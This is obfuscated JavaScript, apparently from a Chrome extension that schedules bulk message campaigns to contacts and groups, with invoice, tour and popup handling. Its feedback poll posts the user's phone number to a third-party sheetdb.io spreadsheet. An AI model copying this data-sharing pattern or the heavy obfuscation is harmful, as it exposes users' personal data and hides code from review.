      (g["LvwHq"] = "invoice_button_text"),
      (g["gBEHy"] = function (L, F) {
        return L && F;
      }),
      (g["nAnkR"] = c["tEKZn"]),
      (g["uIHpn"] = c["GPZul"]);
    const T = g;
    let f = [];
    const b = p["invoiceObject"];
    if (c["WtmcT"](b, undefined)) f = [];
    else f = b;
    const O = document["getElementById"](c["fffdn"]);
    let i = "";
    c["ZwYRh"](f["length"], 0x0)
      ? (f["map"](
          (L) =>
            (i +=
              "<option\x20value=\x22" +
              L["date"] +
              "\x22>" +
              L["date"] +
              "</option>")
        ),
        (document["getElementById"](c["xsOWU"])["href"] =
          f[0x0]?.["invoice_pdf_url"]))
      : (i =
          "<option\x20value=\x22invoice_not_found\x22>No\x20Receipt\x20Found</option>");
    if (i == "")
      i =
        "<option\x20value=\x22invoice_not_found\x22>No\x20Receipt\x20Found</option>";
    (O["innerHTML"] = i),
      O["addEventListener"](c["yZdpc"], (L) => {
        const F = {};
        F["AgZtC"] = function (J, M) {
          return J == M;
        };
        const w = F,
          j = L["target"]["value"],
          x = f["find"]((J) => {
            return w["AgZtC"](J["date"], j);
          });
        x &&
          (document["getElementById"](T["bzdsI"])["href"] =
            x["invoice_pdf_url"]);
      });
    const e = document["getElementById"](c["Iacmd"]),
      s = document["getElementById"](c["waIps"]),
      o = document["getElementById"]("download_invoice_button");
    o["addEventListener"](c["tcEji"], () => {
      (e["style"]["display"] = c["GPZul"]),
        (s["style"]["display"] = c["tEKZn"]),
        c["pjehi"](
          setTimeout,
          () => {
            const L = document["getElementById"](T["NbxVR"]),
              F = document["getElementById"](T["LvwHq"]);
            T["gBEHy"](L, F) &&
              ((L["style"]["display"] = T["nAnkR"]),
              (F["style"]["display"] = T["uIHpn"]));
          },
          0x1388
        );
    });
  });
}
async function makeNewDesignResponse(c) {
  const p = {
    qaoGY: function (g, T, f) {
      return g(T, f);
    },
    zvbwr: "https://sheetdb.io/api/v1/wbzt6s0lud7bg",
    SDKTi: "post",
    UjtXy: "application/json",
    fGbTP: "en-in",
    VVGuj: "error\x20from\x20sheetdb\x20api\x20call",
  };
  try {
    const g = await p["qaoGY"](fetch, p["zvbwr"], {
      method: p["SDKTi"],
      headers: { "Content-Type": p["UjtXy"] },
      body: JSON["stringify"]([
        {
          "Contact\x20Number": my_number,
          "Yes/No": c,
          "Date/time": new Date()["toLocaleString"](p["fGbTP"]),
        },
      ]),
    });
    await g["json"]();
  } catch (T) {
    console["log"](p["VVGuj"], T);
  }
}
async function showNewDesignReviewButtons() {
  const c = {
    GsyCd: function (p, g) {
      return p(g);
    },
    gpizR: ".question_yes_button",
    vuCpU: ".question_no_button",
    kQYiI: "click",
    PTOcc: function (p, g) {
      return p + g;
    },
    RMJXv: function (p, g) {
      return p == g;
    },
    YJmPV: function (p, g) {
      return p == g;
    },
    nbLSL: function (p, g) {
      return p && g;
    },
    LoVsk: function (p, g, T) {
      return p(g, T);
    },
    pQoww: "newDesignSessions",
  };
  chrome["storage"]["local"]["get"](
    ["campaignNumber", "newDesignLiked", c["pQoww"]],
    function (g) {
      const T = {
        yCTyp: function (e, s) {
          return c["GsyCd"](e, s);
        },
        VYqvS: "Yes",
      };
      let f = g["campaignNumber"],
        b = g["newDesignLiked"],
        O = g["newDesignSessions"];
      if (
        c["RMJXv"](g["newDesignLiked"], undefined) ||
        g["newDesignLiked"] == null
      ) {
        const e = {};
        (e["newDesignLiked"] = ![]),
          chrome["storage"]["local"]["set"](e),
          (b = ![]);
      }
      if (
        c["RMJXv"](g["newDesignSessions"], undefined) ||
        c["YJmPV"](g["newDesignSessions"], null)
      ) {
        const s = {};
        (s["newDesignSessions"] = 0x0),
          chrome["storage"]["local"]["set"](s),
          (O = 0x0);
      }
      const i = c["nbLSL"](f, !b) && O < 0xa;
      if (i) {
        const o = c["LoVsk"](
          setInterval,
          () => {
            const L = {
                oCMAe: function (w, j) {
                  return c["GsyCd"](w, j);
                },
              },
              F = document["querySelector"](".new_popup_question_strip");
            if (F) {
              clearInterval(o),
                (F["style"]["display"] = "flex"),
                (F["hidden"] = ![]);
              const w = document["querySelector"](c["gpizR"]),
                j = document["querySelector"](c["vuCpU"]);
              w["addEventListener"]("click", async () => {
                await T["yCTyp"](makeNewDesignResponse, T["VYqvS"]);
                const x = {};
                (x["newDesignLiked"] = !![]),
                  chrome["storage"]["local"]["set"](x),
                  document["body"]["removeChild"](F);
              }),
                j["addEventListener"](c["kQYiI"], async () => {
                  await L["oCMAe"](makeNewDesignResponse, "No");
                  const x = {};
                  (x["newDesignLiked"] = !![]),
                    chrome["storage"]["local"]["set"](x),
                    document["body"]["removeChild"](F);
                }),
                chrome["storage"]["local"]["set"]({
                  newDesignSessions: c["PTOcc"](O, 0x1),
                });
            }
          },
          0xc8
        );
      }
    }
  );
}
showNewDesignReviewButtons();
function elementsToBeHighlighted() {
  const f = {};
  (f["kUVaK"] = ".message-box"),
    (f["zfsea"] = ".numbers-box\x20.text_title"),
    (f["fGGdA"] = ".action_buttons_div"),
    (f["mxOMo"] = ".numbers-box\x20.navigation_container"),
    (f["BtgOX"] = ".message-box\x20.navigation_container"),
    (f["SGIzg"] = "sender"),
    (f["mRiwH"] = ".tooltip-popup-container");
  const b = f,
    O = document["querySelector"](".numbers-box"),
    i = document["querySelector"](b["kUVaK"]),
    e = document["querySelector"](b["zfsea"]),
    s = document["querySelector"](".message-box\x20.text_title"),
    o = document["querySelector"](b["fGGdA"]),
    L = document["querySelectorAll"](b["mxOMo"]),
    F = document["querySelectorAll"](b["BtgOX"]),
    w = document["querySelectorAll"](
      ".action_buttons_div\x20.navigation_container"
    ),
    j = document["querySelector"]("#report-box"),
    x = document["getElementById"](b["SGIzg"]),
    J = document["querySelector"](b["mRiwH"]),
    M = {};
  (M["element"] = O), (M["element2"] = e), (M["child"] = L);
  const Y = {};
  (Y["element"] = i),
    (Y["child"] = F),
    (Y["element2"] = s),
    (Y["element6"] = J);
  const v = {};
  return (
    (v["element"] = o),
    (v["child"] = w),
    (v["element3"] = j),
    (v["element5"] = x),
    [M, Y, v]
  );
}
function highlightIndexedSection(c) {
  const p = {
      BKVrG: function (f, b) {
        return f == b;
      },
      OrNpU: "focus_element",
      TqQka: "title_focus",
      bXKYS: "reduce_opacity",
      TlqCQ: "focus_border",
      lGfvg: "display_none_class",
      whgoW: function (f) {
        return f();
      },
      CqPOk: ".tooltip-popup-container",
    },
    g = p["whgoW"](elementsToBeHighlighted);
  g["forEach"]((f, b) => {
    if (p["BKVrG"](c, b))
      f["element"]["classList"]["add"](p["OrNpU"]),
        f["element2"]?.["classList"]["add"](p["TqQka"]),
        f["element3"]?.["classList"]["add"](p["bXKYS"]),
        f["element4"]?.["classList"]["add"](p["bXKYS"]),
        f["element5"]?.["classList"]["add"](p["TlqCQ"]),
        f["element6"]?.["classList"]["add"]("display_none_class"),
        f["child"]["forEach"]((O) => {
          O["hidden"] = ![];
        });
    else {
      const O = "5|1|6|0|3|2|4"["split"]("|");
      let e = 0x0;
      while (!![]) {
        switch (O[e++]) {
          case "0":
            f["element4"]?.["classList"]["remove"](p["bXKYS"]);
            continue;
          case "1":
            f["element2"]?.["classList"]["remove"]("title_focus");
            continue;
          case "2":
            f["element6"]?.["classList"]["remove"](p["lGfvg"]);
            continue;
          case "3":
            f["element5"]?.["classList"]["remove"](p["TlqCQ"]);
            continue;
          case "4":
            f["child"]["forEach"]((s) => {
              s["hidden"] = !![];
            });
            continue;
          case "5":
            f["element"]["classList"]["remove"](p["OrNpU"]);
            continue;
          case "6":
            f["element3"]?.["classList"]["remove"](p["bXKYS"]);
            continue;
        }
        break;
      }
    }
  });
  const T = document["querySelector"](p["CqPOk"]);
  T &&
    (p["BKVrG"](c, 0x1) || p["BKVrG"](c, 0x2)
      ? T["classList"]["add"](p["lGfvg"])
      : T["classList"]["remove"](p["lGfvg"]));
}
function scrollToSection(T) {
  const f = {};
  (f["JKTRs"] = function (e, s) {
    return e == s;
  }),
    (f["MlBfX"] = "smooth"),
    (f["hExRS"] = ".message-box");
  const b = f;
  let O = null;
  if (b["JKTRs"](T, 0x0)) {
    const e = {};
    (e["top"] = 0x0), (e["behavior"] = b["MlBfX"]), window["scrollTo"](e);
  } else
    b["JKTRs"](T, 0x1)
      ? (O = document["querySelector"](b["hExRS"]))
      : (O = document["querySelector"](".action_buttons_div"));
  const i = {};
  i["behavior"] = b["MlBfX"];
  if (O) O["scrollIntoView"](i);
}
function startNavigationTour() {
  const c = {
    fgtcG: function (T, f) {
      return T(f);
    },
    ESPra: function (T, f) {
      return T(f);
    },
    lAycc: function (T, f) {
      return T == f;
    },
    TiLyP: "none",
    JNFdR:
      "<span>Next</span><img\x20src=\x22logo/arrow-right.png\x22\x20alt=\x22left_arrow\x22>",
    pcJOt: "<span>Close</span>",
    EDdFE: "flex",
    ORpCq: function (T, f) {
      return T(f);
    },
    WgxWX: ".how_to_use_buttons",
    kywvK: ".how_to_use_left",
    doyjy: ".how_to_use_right",
    pVnbo: "click",
  };
  let p = 0x0;
  const g = document["querySelector"](".background_overlay");
  if (g) {
    g["hidden"] = ![];
    const T = document["querySelector"](c["WgxWX"]),
      f = document["querySelector"](c["kywvK"]),
      b = document["querySelector"](c["doyjy"]);
    T &&
      ((T["style"]["display"] = c["EDdFE"]),
      (T["hidden"] = ![]),
      (f["style"]["display"] = c["TiLyP"]),
      (f["hidden"] = !![])),
      c["ORpCq"](scrollToSection, p),
      c["ESPra"](highlightIndexedSection, p),
      f["addEventListener"](c["pVnbo"], () => {
        p--,
          (p = Math["max"](c["fgtcG"](Number, p), 0x0)),
          c["ESPra"](highlightIndexedSection, p),
          c["lAycc"](p, 0x0) &&
            ((f["hidden"] = !![]), (f["style"]["display"] = c["TiLyP"])),
          (b["innerHTML"] = c["JNFdR"]),
          c["fgtcG"](scrollToSection, p);
      }),
      b["addEventListener"](c["pVnbo"], () => {
        p++;
        if (p > 0x2) {
          (p = 0x0),
            (g["hidden"] = !![]),
            (T["hidden"] = !![]),
            (T["style"]["display"] = c["TiLyP"]),
            (b["innerHTML"] = c["JNFdR"]),
            highlightIndexedSection(0x3),
            scrollToSection(0x0);
          return;
        }
        c["fgtcG"](highlightIndexedSection, p),
          p == 0x2 && (b["innerHTML"] = c["pcJOt"]),
          (f["hidden"] = ![]),
          (f["style"]["display"] = c["EDdFE"]),
          c["ORpCq"](scrollToSection, p);
      });
  }
}
function startNavigationTourOnFirstVisit() {
  const c = {
      gnMgj: function (g, T) {
        return g == T;
      },
      TUOmW: function (g, T) {
        return g(T);
      },
      RxfJq: ".numbers-box",
      prFju: function (g, T) {
        return g(T);
      },
      hZKZW: "no_of_visit",
      SlHxB: function (g, T, f) {
        return g(T, f);
      },
    },
    p = c["SlHxB"](
      setInterval,
      async () => {
        const g = document["querySelector"](c["RxfJq"]);
        (translatedSendObj = await fetchTranslations(sendObj)),
          g &&
            (c["prFju"](clearInterval, p),
            chrome["storage"]["local"]["get"]([c["hZKZW"]], function (T) {
              c["gnMgj"](T["no_of_visit"], 0x1) &&
                c["TUOmW"](driver, translatedSendObj)["drive"]();
            }));
      },
      0x1f4
    );
}
startNavigationTourOnFirstVisit();
function getCurrentTimein24HourFormat() {
  const p = {};
  (p["mOtXh"] = function (O, i) {
    return O < i;
  }),
    (p["zzKhY"] = function (O, i) {
      return O + i;
    }),
    (p["HlytY"] = function (O, i) {
      return O < i;
    });
  const g = p;
  let T = new Date(),
    f = T["getHours"](),
    b = T["getMinutes"]();
  return (
    (f = g["mOtXh"](f, 0xa) ? g["zzKhY"]("0", f) : f),
    (b = g["HlytY"](b, 0xa) ? g["zzKhY"]("0", b) : b),
    f + ":" + b
  );
}
function getCurrentDate() {
  const p = {};
  (p["CIfxt"] = function (i, e) {
    return i < e;
  }),
    (p["XSqIn"] = function (i, e) {
      return i + e;
    }),
    (p["IgJys"] = function (i, e) {
      return i < e;
    }),
    (p["KhLCI"] = function (i, e) {
      return i + e;
    });
  const g = p;
  let T = new Date(),
    f = T["getFullYear"](),
    b = T["getMonth"]() + 0x1,
    O = T["getDate"]();
  return (
    (b = g["CIfxt"](b, 0xa) ? g["XSqIn"]("0", b) : b),
    (O = g["IgJys"](O, 0xa) ? g["KhLCI"]("0", O) : O),
    f + "-" + b + "-" + O
  );
}
function showScheduleExpiredPopup(c, p) {
  const g = {
      sLMJM: function (s, o, L, F) {
        return s(o, L, F);
      },
      llpaQ: function (s, o) {
        return s(o);
      },
      JjlnH: "schedule_message",
      twUqm: function (s) {
        return s();
      },
      kNgho: "schedule_checkbox",
      HgZea: "schedule",
      uShhL: "sender",
      PxfDD: "#schedule_day_div",
      wOfkQ: "flex",
      ptCpY: "#schedule_time_div",
      NfNCp: "scheduled_campaigns",
      UdOoX: "div",
      QUoge: function (s, o) {
        return s(o);
      },
      WmgOi: ".background_overlay",
      tYZQb: "delete_schedule_btn",
      PqCnK: "click",
    },
    T = document["querySelector"](".schedule_expired_popup_container");
  T && document["body"]["removeChild"](T);
  const f = document["createElement"](g["UdOoX"]);
  (f["className"] = "schedule_expired_popup_container"),
    (f["innerHTML"] =
      "<div\x20class=\x22schedule_popup_title\x22>\x0a\x20\x20\x20\x20<img\x20src=\x22logo/clock.png\x22\x20alt=\x22\x22\x20/>\x0a\x20\x20\x20\x20<p>Reminder:\x20Scheduled\x20campaign\x20not\x20sent</p>\x0a\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20<div\x20class=\x22schedule_popup_content\x22>\x0a\x20\x20\x20\x20<p>Your\x20campaign\x20scheduled\x20at\x20<span\x20class=\x22schedule_date_time\x22>" +
      formatScheduleDate(c["campaign_date"]) +
      "\x20" +
      g["QUoge"](convertTo12Hour, c["schedule_time"]) +
      "</span>\x20<br\x20/>\x20is\x20not\x20send.</p>\x0a\x20\x20\x20\x20<div\x20class=\x22schedule_popup_buttons_container\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20id=\x22send_schedule_btn\x22\x20class=\x22CtaBtn\x22\x20style=\x22background:#fff;\x20color:#009a88;\x20border:2px\x20solid\x20#009a88\x22>Send\x20now</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20id=\x22reschedule_btn\x22\x20class=\x22CtaBtn\x22\x20style=\x22background:#009a88;\x20color:#fff;\x20border:\x202px\x20solid\x20#fff\x22>Reschedule</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20id=\x22delete_schedule_btn\x22\x20class=\x22CtaBtn\x22\x20style=\x22color:red;\x20border:2px\x20solid\x20red;\x20background:#fff\x22>Delete</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22popup-footer\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22popup-footer-container\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22logo-div\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20class=\x22logo-icon\x22\x20src=\x22logo/logo-img.png\x22\x20alt=\x22Logo\x22/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20class=\x22logo-text\x22\x20src=\x22logo/logo-text.png\x22\x20alt=\x22Logo\x20Text\x22/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22contact-div\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>Any\x20questions?</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22handle_help_btn\x20CtaBtn\x22>Contact\x20Support</a>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20"),
    document["body"]["appendChild"](f);
  const b = document["querySelector"](g["WmgOi"]);
  b && (b["hidden"] = ![]);
  const O = document["getElementById"]("send_schedule_btn"),
    i = document["getElementById"]("reschedule_btn"),
    e = document["getElementById"](g["tYZQb"]);
  O["addEventListener"](g["PqCnK"], () => {
    const {
      numbers: s,
      message: o,
      time_gap: L,
      csv_data: F,
      customization: w,
      random_delay: j,
      batch_size: x,
      batch_gap: J,
      caption_customization: M,
      caption: Y,
    } = c;
    let v = g["twUqm"](getCurrentTimein24HourFormat),
      l = getCurrentDate();
    chrome["storage"]["local"]["get"](["scheduled_campaigns"], function (Z) {
      const B = Z["scheduled_campaigns"] || [];
      B["splice"](p, 0x1);
      let Q = "Campaign-" + p,
        { time: d, date: m } = g["sLMJM"](
          addSecondsToScheduleTime,
          l,
          v,
          calculateCampaignDuration(L, j, x, J, s)
        );
      const D = {};
      (D["campaign_name"] = Q),
        (D["numbers"] = s),
        (D["message"] = o),
        (D["time_gap"] = L),
        (D["csv_data"] = F),
        (D["customization"] = w),
        (D["caption_customization"] = M),
        (D["schedule_time"] = v),
        (D["random_delay"] = j),
        (D["batch_size"] = x),
        (D["batch_gap"] = J),
        (D["campaign_duration"] = d),
        (D["campaign_date"] = l),
        (D["end_date"] = m),
        (D["caption"] = Y),
        B["push"](D),
        B["sort"](
          (S, q) =>
            convertToTimestamp(S["campaign_date"], S["schedule_time"]) -
            convertToTimestamp(q["campaign_date"], q["schedule_time"])
        );
      const R = {};
      (R["scheduled_campaigns"] = B),
        chrome["storage"]["local"]["set"](R),
        g["llpaQ"](sendMessageToBackground, {
          type: g["JjlnH"],
          numbers: s,
          message: o,
          time_gap: L,
          csv_data: F,
          customization: w,
          schedule_time: v,
          campaign_date: l,
          random_delay: j,
          batch_size: x,
          batch_gap: J,
        }),
        window["close"]();
    });
  }),
    i["addEventListener"](g["PqCnK"], () => {
      chrome["storage"]["local"]["get"]([g["NfNCp"]], function (s) {
        const o = s["scheduled_campaigns"] || [];
        o["splice"](p, 0x1);
        const L = {};
        (L["scheduled_campaigns"] = o),
          chrome["storage"]["local"]["set"](L),
          (b["hidden"] = !![]),
          document["body"]["removeChild"](f);
        const F = document["getElementById"](g["kNgho"]);
        F &&
          ((F["checked"] = !![]),
          (document["getElementById"](g["HgZea"])["hidden"] = ![]),
          (document["getElementById"](g["uShhL"])["hidden"] = !![]),
          (document["querySelector"](g["PxfDD"])["style"]["display"] =
            g["wOfkQ"]),
          (document["querySelector"](g["ptCpY"])["style"]["display"] = "flex"));
      });
    }),
    e["addEventListener"](g["PqCnK"], () => {
      chrome["storage"]["local"]["get"]([g["NfNCp"]], function (s) {
        const o = s["scheduled_campaigns"] || [];
        o["splice"](p, 0x1);
        const L = {};
        (L["scheduled_campaigns"] = o),
          chrome["storage"]["local"]["set"](L),
          (b["hidden"] = !![]),
          document["body"]["removeChild"](f);
      });
    });
}
async function renderSelectedItems(c) {
  const p = {
    JGITt: function (b, O) {
      return b && O;
    },
    kazol: function (b, O) {
      return b(O);
    },
  };
  let g = !![];
  const T = c ? allGroups : allContacts,
    f = c ? groups_selected : contacts_selected;
  T["forEach"]((b) => {
    const O = f["includes"](b["id"]["_serialized"]);
    if (selectedAll || p["JGITt"](O, !selectedAll)) {
      const i = {};
      (i["name"] = b["name"]),
        (i["objId"] = b["objId"]),
        (i["serizalizeId"] = b["id"]["_serialized"]),
        (i["isFirst"] = g),
        (i["isGroup"] = c),
        p["kazol"](renderItems, i),
        (g = ![]);
    }
  }),
    selectedAll && ((selectedAll = ![]), (fetching = ![]));
}
function updateGroupBoxDisplay() {
  const c = {
      iFYKR: "#box_label",
      nmbtg: ".groups_display_box",
      sjuCK: ".search_group_input",
      KDwog: "groups",
      fgCzD: function (f, b) {
        return f > b;
      },
      vElIU: function (f, b) {
        return f(b);
      },
      eEbFW: function (f, b) {
        return f === b;
      },
      rQRSW: "contacts",
      bHiFy: function (f, b) {
        return f(b);
      },
      tuhmK: function (f) {
        return f();
      },
    },
    p = document["querySelector"](c["iFYKR"]),
    g = document["querySelector"](c["nmbtg"]),
    T = document["querySelector"](c["sjuCK"]);
  (p["innerHTML"] =
    "Select\x20" + messageToggleSwitchValue + "\x20to\x20message"),
    (T["placeholder"] =
      "Search\x20" + messageToggleSwitchValue + "\x20by\x20name"),
    (g["innerHTML"] =
      "<p\x20style=\x22color:gray;font-size:13px;margin:0px;\x22>Select\x20" +
      messageToggleSwitchValue +
      "\x20from\x20the\x20dropdown\x20.\x20.\x20.</p>");
  if (
    messageToggleSwitchValue === c["KDwog"] &&
    c["fgCzD"](groups_selected["length"], 0x0)
  )
    c["vElIU"](renderSelectedItems, !![]);
  else
    c["eEbFW"](messageToggleSwitchValue, c["rQRSW"]) &&
      contacts_selected["length"] > 0x0 &&
      c["bHiFy"](renderSelectedItems, ![]);
  c["tuhmK"](handleDeleteBin);
}
function toggleSendMessageToInput(g) {
  const T = {};
  (T["juWKd"] = "numbers"),
    (T["XZqUO"] = ".numbers-box"),
    (T["xppSf"] = ".groups_box"),
    (T["LESSz"] = "none"),
    (T["slhid"] = "flex");
  const f = T;
  messageToggleSwitchValue = g;
  const b = {};
  (b["send_messages_to"] = messageToggleSwitchValue),
    chrome["storage"]["local"]["set"](b),
    messageToggleSwitchValue === f["juWKd"]
      ? ((document["querySelector"](f["XZqUO"])["style"]["display"] = "revert"),
        (document["querySelector"](f["xppSf"])["style"]["display"] =
          f["LESSz"]))
      : ((document["querySelector"](f["XZqUO"])["style"]["display"] =
          f["LESSz"]),
        (document["querySelector"](".groups_box")["style"]["display"] =
          f["slhid"]),
        updateGroupBoxDisplay());
}
